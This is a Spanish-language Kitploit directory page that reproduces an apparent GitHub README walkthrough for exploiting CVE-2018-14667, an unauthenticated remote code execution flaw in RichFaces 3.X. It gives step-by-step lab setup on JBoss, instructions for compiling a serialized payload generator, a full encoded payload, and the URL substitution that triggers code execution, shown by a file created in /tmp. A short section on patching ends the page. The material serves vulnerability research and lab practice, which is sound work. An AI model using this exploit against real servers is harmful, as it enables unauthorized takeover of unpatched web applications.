Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-14667 — Todo sobre CVE-2018-14667; Desde qué es hasta cómo explotarlo con éxito. | Kitploit
Herramientas/GitHubGitHub/syriusbughunt/cve-2018-14667
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

Todo sobre CVE-2018-14667; Desde qué es hasta cómo explotarlo con éxito.

Ver Repositorio
509hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2018-14667

Después de pasar mucho tiempo para entender y explotar correctamente este CVE, decidí construir un repositorio sobre el bug RCE de RichFaces 3.X y compartir los HOWTOs paso a paso con la comunidad.

0x00 : Introducción sobre el bug de RichFaces 3.X

El lunes 19 de noviembre, Joao F M Figueiredo publicó un artículo muy detallado (https://seclists.org/fulldisclosure/2018/Nov/47) sobre una vulnerabilidad crítica de alto riesgo en RichFaces.
Puntuación Base CVSS3: 9.8

Esta vulnerabilidad permitirá a cualquier usuario no autenticado ejecutar código de forma remota en cualquier aplicación web que utilice RichFaces 3.X (todas las versiones), lo que es prácticamente el peor escenario.

0x01 : ¿Estoy afectado? 

Bueno, si estás ejecutando RichFaces 3.X (cualquier versión de RichFaces 3) y ves el siguiente código en tu fuente, es probable que sí, podrías ser vulnerable a la ejecución remota de código en CVE-2018-14667:

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component,StateHolderSaver
  • java.awt.Color

0x02 : Ejecutar un entorno vulnerable para probar el bug 

Básicamente, volveré a explicar lo que ya se ha cubierto en el artículo de seclists.org sobre cómo desplegar un entorno vulnerable.

  1. Descarga JBoss 5.1.0GA y una aplicación demo con RichFaces que contiene la aplicación PhotoAlbum.
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
    → https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  2. Descomprime el archivo ZIP.
  3. Copia la aplicación richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear al directorio de despliegue de JBoss jboss-5.1.0.GA/server/default/deploy/
  4. Inicia el servidor de aplicaciones JBoss usando la siguiente sintaxis (asegúrate antes de iniciar que tu puerto 8080 no esté en uso): cd bin ; ./run.sh -b 0.0.0.0
  5. Necesitarás navegar a la página de inicio de PhotoAlbum para activar la aplicación web.

0x03 : Generar un payload válido 

¡Ahora la parte divertida! Aquí es donde he experimentado dificultades, así que explicaré en detalle cómo generar un payload válido y sin repetir los mismos errores que cometí. Sugeriría primero usar Eclipse para compilar el payload.

  1. Descarga Eclipse desde el siguiente enlace:
    → https://www.eclipse.org/downloads/
  2. Inicia Eclipse y elige crear un nuevo Web Project.
  3. Obtén el generador de payload (créditos a orich1 de https://xz.aliyun.com/t/3264) disponible en este repositorio
    → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
  4. Extrae el archivo WAR de este repositorio (richfaces-demo-3.3.0.GA-tomcat6.war), copia todos los archivos .jar de la carpeta WEB-INF/lib/ a WebContent/WEB-INF/lib/ en tu proyecto web Java en Eclipse
    → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
  5. Agrega el archivo Main.java en Eclipse; haz clic derecho en el nombre de tu proyecto web Java en Eclipse, New, File.
  6. Haz que la carpeta WebContent/WEB-INF/lib sea la fuente de Build Path en Eclipse; haz clic derecho en la carpeta lib, Build Path, Use as Source Folder.
  7. Veamos si tienes suerte; haz clic en el botón verde Play para ejecutar el compilador. Si obtienes 0 errores y un payload válido en tu salida, felicitaciones, ahora tienes un payload válido para CVE-2018-14667. Ahora, si estás teniendo todo tipo de errores, no entres en pánico. Puedes comentar las siguientes líneas: 29,30,31,32,33,34,35 para que se vean así:
root@kitploit:~
        // Class clazz = Class.forName("javax.el.MethodExpression");
        // Field field = clazz.getField("serialVersionUID");
        // field.setAccessible(true);
        // Field modifiersField = Field.class.getDeclaredField("modifiers");
        // modifiersField.setAccessible(true);
        // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        // field.setLong(null, MethodExpressionSerialVersionUID);

El resultado de tu salida en Eclipse debería verse así:

root@kitploit:~
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf

0x04 : Enviar tu payload y obtener Ejecución Remota de Código 

Navega en tu navegador a tu servidor JBoss local que ejecuta la Aplicación Web PhotoAlbum http://192.168.100.2:8080/photoalbum y haz clic derecho para ver el código fuente. Presiona Ctrl+F y busca '/DATA/'. Deberías encontrar algo similar a esto:

root@kitploit:~
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 

Puedes ver claramente el objeto serializado. Aquí es donde reemplazaremos el objeto serializado por nuestro payload para obtener ejecución remota de código. En tu navegador, cambia la URL a http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. Mi payload ejecutaba el siguiente comando 'touch /tmp/PoorRichFaces'. Veamos si tuve éxito:

root@kitploit:~
drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
-rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 

Se siente bien, ¿verdad? Acabamos de obtener RCE en una aplicación web Java que ejecuta RichFaces 3.X.

0x05 : ¿Cómo parchear? 

Puede que no te guste este hecho, así que prepárate y agárrate a tu teclado; RichFaces ha llegado al final de su vida útil en cuanto al soporte de su producto, por lo que los usuarios (tú) deben aplicar su propio parche. No entres en pánico, si no encuentras una forma de parchear, no dudes en contactarme, podemos hacer un arreglo para que pueda parchear tus aplicaciones web Java.

E-mail: [email protected]

Descargar herramienta